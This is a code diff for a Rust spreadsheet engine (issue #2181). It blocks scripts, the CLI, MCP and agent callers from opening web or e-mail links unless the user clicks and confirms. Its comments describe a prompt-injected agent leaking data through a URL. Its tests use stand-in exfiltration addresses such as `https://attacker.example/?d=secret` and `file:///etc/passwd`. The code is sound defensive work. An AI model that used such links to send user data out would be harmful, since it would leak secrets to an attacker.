diff --git a/crates/engine/src/cmd/insert.rs b/crates/engine/src/cmd/insert.rs index 9f044613d..b9243f30b 100644 --- a/crates/engine/src/cmd/insert.rs +++ b/crates/engine/src/cmd/insert.rs @@ -162,7 +162,7 @@ pub fn specs() -> Vec { "Open Hyperlink", [], None, - "{url?: \"https://…\" | \"mailto:…\" | \"Sheet2!A1\", cell?} (default: the cell's link); only http, https and mailto are opened, any other scheme is an error; the UI asks before opening", + "{url?: \"https://…\" | \"mailto:…\" | \"Sheet2!A1\", cell?} (default: the cell's link); a reference selects; a web or e-mail address is an error unless the host allows it: the user opens those by clicking the link and confirming; any scheme but http, https and mailto is always an error", has_doc, open_link ), @@ -1199,9 +1199,11 @@ fn insert_link(s: &mut Session, p: &Json) -> Result { }) } -/// Follows a link: a reference selects it, an `http`/`https`/`mailto` address is handed to the -/// host (`UiRequest::OpenUrl`); anything else is refused ([`crate::links::classify`]). Opens no -/// dialog; the interactive click asks for confirmation first, in the UI. +/// Follows a link: a reference selects it; anything else is refused ([`crate::links::classify`]). +/// An `http`/`https`/`mailto` address is refused too unless the host set +/// [`crate::links::LinkPolicy::Allow`]: every caller of a command may be a script or an agent, so +/// the user opens such links by clicking and confirming, and the UI then calls +/// [`Session::open_confirmed_link`] (#2181). Opens no dialog. fn open_link(s: &mut Session, p: &Json) -> Result { let target = match str_param(p, "url").or_else(|| str_param(p, "target")) { Some(t) => t.to_string(), @@ -1217,6 +1219,9 @@ fn open_link(s: &mut Session, p: &Json) -> Result { match crate::links::classify(&target) { crate::links::LinkKind::Internal(r) => super::edit::go_to(s, &json!({"reference": r.trim_start_matches('#')})), crate::links::LinkKind::External(u) => { + if s.link_policy != crate::links::LinkPolicy::Allow { + return Err(EngineError::Other(crate::links::NEEDS_CONFIRMATION.into())); + } s.ui_requests.push(crate::UiRequest::OpenUrl(u.clone())); Ok(json!({"opened": u})) } diff --git a/crates/engine/src/lib.rs b/crates/engine/src/lib.rs index 258a1cb72..2d0a46a09 100644 --- a/crates/engine/src/lib.rs +++ b/crates/engine/src/lib.rs @@ -256,6 +256,9 @@ pub struct Session { /// Review › Notes › Show All Notes: every note is displayed. An application display setting /// (like Excel's comment indicator option), so it's not saved in the file. pub show_all_notes: bool, + /// Whether `link.open` may open web and e-mail addresses without the user's confirmation + /// (#2181). Host code sets it; no command does. + pub link_policy: links::LinkPolicy, } impl Session { diff --git a/crates/engine/src/links.rs b/crates/engine/src/links.rs index 04d8da677..4c2318f07 100644 --- a/crates/engine/src/links.rs +++ b/crates/engine/src/links.rs @@ -2,8 +2,50 @@ //! somebody sent), so it is hostile input: only `http`, `https` and `mailto` ever leave the //! workbook for the system; `file:`, `smb:`, UNC paths, custom URL handlers, `javascript:` and //! the like are refused. Everything without a scheme stays an in-workbook reference. +//! +//! Opening an allowed address also needs the user's say-so (#2181): `link.open` is reachable by +//! the control channel, the CLI, MCP and workbook scripts, so a prompt-injected agent could open +//! `https://attacker/?d=`. Under the default [`LinkPolicy::Confirm`] the command refuses +//! external addresses; only the host, after showing the address and getting OK from the user, +//! opens one through [`crate::Session::open_confirmed_link`], which no command reaches. use gridcraft_core::RangeRef; +use serde_json::{Value as Json, json}; + +use crate::{EngineError, Result, Session, UiRequest}; + +/// Whether `link.open` may hand an external (`http`/`https`/`mailto`) address to the host without +/// asking. Set by the host in code, never by a command, so a programmatic caller can't widen it. +#[derive(Clone, Copy, Debug, Default, PartialEq, Eq)] +pub enum LinkPolicy { + /// `link.open` refuses external addresses; the user opens them by clicking the link, which + /// asks first ([`Session::open_confirmed_link`]). References still navigate. + #[default] + Confirm, + /// The host trusts every caller of this session (an embedding that vets requests itself): + /// `link.open` opens allowed addresses directly. Disallowed schemes stay refused. + Allow, +} + +/// The error a programmatic `link.open` of a web or e-mail address returns. +pub const NEEDS_CONFIRMATION: &str = "Web and e-mail links open only when the user clicks them and confirms; a command can't open them."; + +impl Session { + /// Opens a link the user has just confirmed in the host's "Open Hyperlink" prompt: an allowed + /// address goes to the host (`UiRequest::OpenUrl`), a reference selects, anything else is + /// refused ([`classify`]). Not a command: only host code that showed the user this exact + /// address may call it. + pub fn open_confirmed_link(&mut self, target: &str) -> Result { + match classify(target) { + LinkKind::Internal(r) => self.execute("edit.goTo", json!({"reference": r.trim_start_matches('#')})), + LinkKind::External(u) => { + self.ui_requests.push(UiRequest::OpenUrl(u.clone())); + Ok(json!({"opened": u})) + } + LinkKind::Refused(why) => Err(EngineError::Other(why)), + } + } +} /// What a link target is. #[derive(Clone, Debug, PartialEq, Eq)] diff --git a/crates/engine/src/tests.rs b/crates/engine/src/tests.rs index 2ac290654..aff234671 100644 --- a/crates/engine/src/tests.rs +++ b/crates/engine/src/tests.rs @@ -3268,12 +3268,57 @@ fn link_open_refuses_every_scheme_but_http_https_and_mailto() { } assert!(s.execute("link.open", json!({"cell": "A1"})).is_err()); assert!(s.take_ui_requests().is_empty()); + // A host's `Allow` policy opens web and e-mail addresses directly, and nothing else. + s.link_policy = crate::links::LinkPolicy::Allow; + for url in ["file:///etc/passwd", "smb://h/s", "\\\\h\\s", "JAVASCRIPT:1"] { + assert!(s.execute("link.open", json!({"url": url})).is_err(), "{url}"); + } + assert!(s.take_ui_requests().is_empty()); s.execute("link.open", json!({"url": "HTTPS://example.org/a"})).unwrap(); assert_eq!(s.take_ui_requests(), vec![crate::UiRequest::OpenUrl("HTTPS://example.org/a".into())]); s.execute("link.open", json!({"url": "B2"})).unwrap(); assert!(s.take_ui_requests().is_empty()); } +/// #2181: `link.open` is reachable by the control channel, CLI, MCP and scripts, so by default it +/// opens no web or e-mail address (an exfiltration channel: `https://attacker/?d=`) +/// and asks for no dialog either; only the host's confirmed path opens one. +#[test] +fn programmatic_link_open_never_opens_an_external_address_without_confirmation() { + let mut s = s(); + assert_eq!(s.link_policy, crate::links::LinkPolicy::Confirm, "confirmation is the default"); + s.execute("cell.set", json!({"cell": "A1", "input": "secret"})).unwrap(); + s.execute("insert.link", json!({"cell": "B1", "target": "https://attacker.example/?d=secret"})).unwrap(); + s.execute("insert.link", json!({"cell": "C1", "target": "mailto:x@attacker.example"})).unwrap(); + s.take_ui_requests(); + for p in [ + json!({"url": "https://attacker.example/?d=secret"}), + json!({"url": "http://attacker.example"}), + json!({"target": "MAILTO:x@attacker.example"}), + json!({"cell": "B1"}), + json!({"cell": "C1"}), + ] { + let e = s.execute("link.open", p.clone()).unwrap_err().to_string(); + assert!(e.contains(crate::links::NEEDS_CONFIRMATION), "{p}: {e}"); + } + assert!(s.take_ui_requests().is_empty(), "no OpenUrl and no dialog for a programmatic caller"); + assert!(s.execute_headless("link.open", json!({"cell": "B1"})).is_err()); + assert!(s.take_ui_requests().is_empty()); + // References still navigate. + s.execute("link.open", json!({"url": "A1"})).unwrap(); + assert!(s.take_ui_requests().is_empty()); + + // The host's confirmed path opens the allowed address, and still refuses every other scheme. + assert_eq!(s.open_confirmed_link(" https://example.org/a ").unwrap(), json!({"opened": "https://example.org/a"})); + assert_eq!(s.take_ui_requests(), vec![crate::UiRequest::OpenUrl("https://example.org/a".into())]); + for url in ["file:///etc/passwd", "\\\\h\\s", "javascript:1", "x-custom://a", "\u{1}https://a.example"] { + assert!(s.open_confirmed_link(url).is_err(), "{url:?}"); + } + assert!(s.take_ui_requests().is_empty()); + s.open_confirmed_link("Sheet1!C3").unwrap(); + assert_eq!(s.doc().unwrap().selection.active, CellRef::new(2, 2)); +} + #[test] fn subtotal_109_recalculates_when_row_height_or_autofit_reveals_rows() { let mut s = s(); diff --git a/crates/ui-egui/src/dialogs.rs b/crates/ui-egui/src/dialogs.rs index fb899c702..f56136e94 100644 --- a/crates/ui-egui/src/dialogs.rs +++ b/crates/ui-egui/src/dialogs.rs @@ -40,6 +40,9 @@ pub struct Dialog { picture_target: Option<(u64, usize)>, /// The dialog this one was opened from (Name Manager › New…): it comes back when this closes. back: Option>, + /// Open Hyperlink: the address the prompt shows, which OK opens. Private, unlike `values`, so + /// `ui.dialog.set` can't swap it behind the text the user reads (#2181). + link: Option, } impl Dialog { @@ -73,6 +76,7 @@ impl Dialog { picture_inbox: None, picture_target: None, back: None, + link: None, } } @@ -91,6 +95,7 @@ impl Dialog { picture_inbox: None, picture_target: None, back: None, + link: None, } } @@ -349,19 +354,18 @@ impl Dialog { json!({"text": existing}), ) } - // Asks before a web or e-mail link leaves the workbook; OK runs `link.open`, which - // refuses anything but http, https and mailto. + // Asks before a web or e-mail link leaves the workbook. OK opens it through + // `Session::open_confirmed_link` (which refuses anything but http, https and mailto), + // not a command: `link.open` refuses web addresses for programmatic callers, and a + // dialog without a command can't be confirmed over the control channel (#2181). "openLink" => { let url = params.get("url").and_then(Json::as_str).unwrap_or_default().to_string(); - Dialog::form( - "openLink", - "Open Hyperlink", - "link.open", - vec![Note(format!( - "This workbook asks to open the address below. Links can lead to harmful sites or start other programs: open it only if you trust the workbook.\n\n{url}" - ))], - json!({"url": url}), - ) + let mut d = Dialog::custom("openLink", "Open Hyperlink", json!({"url": url})); + d.fields = vec![Note(format!( + "This workbook asks to open the address below. Links can lead to harmful sites or start other programs: open it only if you trust the workbook.\n\n{url}" + ))]; + d.link = Some(url); + d } "insertLink" => Dialog::form( "insertLink", @@ -1256,6 +1260,13 @@ pub fn show(app: &mut SheetApp, ctx: &egui::Context) { app.message = Some((d.title.clone(), "Return to the original worksheet to insert this picture, or cancel and choose another cell.".into())); confirm = false; } + if confirm && d.name == "openLink" { + confirm = false; + open = false; + if let Err(e) = open_confirmed_link(app, &d) { + app.message = Some((d.title.clone(), crate::clean_error(&e))); + } + } if confirm && let Some(cmd) = d.command { let params = build_params(&d); match app.run(cmd, params) { @@ -1365,6 +1376,15 @@ fn paste_special_shortcuts(d: &mut Dialog, ctx: &egui::Context) { }); } +/// The user pressed OK in Open Hyperlink: opens the address the prompt showed (`d.link`), never +/// one a caller edited into its values afterwards. +fn open_confirmed_link(app: &mut SheetApp, d: &Dialog) -> Result<(), String> { + let url = d.link.as_deref().unwrap_or_default(); + let r = app.session.open_confirmed_link(url).map(|_| ()).map_err(|e| e.to_string()); + app.after_engine(); + r +} + fn ok_cancel(ui: &mut egui::Ui, confirm: &mut bool, open: &mut bool) { ui.add_space(8.0); ui.with_layout(egui::Layout::right_to_left(egui::Align::Center), |ui| { @@ -2729,6 +2749,34 @@ mod tests { assert!(gridcraft_engine::cmd::data::check_validation(&doc.wb, 0, at, "4").is_some()); } + /// #2181: a programmatic `link.open` opens nothing; the Open Hyperlink prompt has no command + /// the control channel could confirm, and its OK opens exactly the address it showed. + #[test] + fn open_hyperlink_opens_only_the_address_the_user_confirmed() { + use std::{cell::RefCell, rc::Rc}; + let opened = Rc::new(RefCell::new(Vec::::new())); + let sink = opened.clone(); + let services = crate::Services { open_url: Some(Box::new(move |u: &str| sink.borrow_mut().push(u.to_string()))), ..Default::default() }; + let mut session = gridcraft_engine::Session::default(); + session.new_workbook(); + let mut app = SheetApp::new(session, services); + assert!(app.run("link.open", json!({"url": "https://attacker.example/?d=secret"})).is_err()); + app.after_engine(); + assert!(opened.borrow().is_empty(), "a programmatic link.open opens nothing"); + assert!(app.dialog.is_none(), "and opens no dialog"); + + let mut d = Dialog::open(&mut app, "openLink", json!({"url": "https://example.org/a"})).unwrap(); + assert!(d.command.is_none(), "`ui.dialog.confirm` can't press OK for the user"); + // A value edited behind the prompt's text is ignored: OK opens what the user read. + d.set_value("url", json!("https://attacker.example/?d=secret")); + open_confirmed_link(&mut app, &d).unwrap(); + assert_eq!(*opened.borrow(), vec!["https://example.org/a".to_string()]); + + let bad = Dialog::open(&mut app, "openLink", json!({"url": "file:///etc/passwd"})).unwrap(); + assert!(open_confirmed_link(&mut app, &bad).is_err()); + assert_eq!(opened.borrow().len(), 1); + } + #[test] fn data_validation_without_a_rule_opens_on_a_blank_list() { let mut session = gridcraft_engine::Session::default(); diff --git a/crates/ui-egui/src/grid.rs b/crates/ui-egui/src/grid.rs index 106bc6684..a0ea26ecb 100644 --- a/crates/ui-egui/src/grid.rs +++ b/crates/ui-egui/src/grid.rs @@ -2556,8 +2556,9 @@ fn delete_selected_object(app: &mut SheetApp, sh: &Sheet) -> bool { } /// A click on a hyperlink. References select; web and e-mail addresses ask first (the dialog's -/// OK runs `link.open`); every other kind is refused with a message. The decision is the -/// engine's ([`gridcraft_engine::links::classify`]), the same one `link.open` applies. +/// OK calls `Session::open_confirmed_link`, since `link.open` refuses them for programmatic +/// callers, #2181); every other kind is refused with a message. The decision is the engine's +/// ([`gridcraft_engine::links::classify`]), the same one `link.open` applies. pub fn follow_link(app: &mut SheetApp, target: &str) { use gridcraft_engine::links::{LinkKind, classify}; match classify(target) {